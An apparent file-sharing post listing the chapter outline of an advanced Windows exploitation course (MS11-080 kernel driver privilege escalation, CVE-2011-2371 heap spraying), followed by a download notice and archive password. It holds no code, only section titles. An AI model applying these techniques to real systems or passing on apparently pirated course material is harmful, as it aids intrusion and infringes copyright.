Kernel Driver Exploitation _ Lab Objectives _ Overview _ 64-bit Address Space _ 64-bit Main Enhancements _ Windows-On-Windows Emulation _ 64-bit Exploitation: General Concepts _ MS11-080 Case Study: The Bug _ MS11-080 Case Study: IOCTL Hunting _ MS11-080 Case Study: Triggering the vulnerable code _ Exercise _ MS11-080 Case Study: Mapping your Route _ MS11-080 Case Study: “BSODing” the Box _ Exercise _ MS11-080 Case Study: Owning RIP _ MS11-080 Case Study: You are on your Own Bring me a SYSTEM Shell! Module 0x07 Heap Spraying _ Lab Objectives _ Overview _ JavaScript Heap Internals Key Points _ Heap Spray: The Technique _ Heap Spray Case Study: CVE-2011-2371 POC _ Exercise _ Heap Spray Case Study: A Deeper Look at the Bug _ Heap Spray Case Study: Mapping the Object in Memory _ Exercise _ Heap Spray Case Study: Controlling the Execution Flow _ Exercise _ Heap Spray Case Study: Stack Pivoting _ Exercise _ Heap Spray Case Study: Pointers Stunts _ Exercise _ Heap Spray Case Study: When 1bit = Shell _ Exercise _ Wrapping Up Download link : "AWE" Advanced Windows Exploitation V1.1 size : 33 Mb parts : 4 pdf's pages : 185 password : NO-MERCY Best Regrads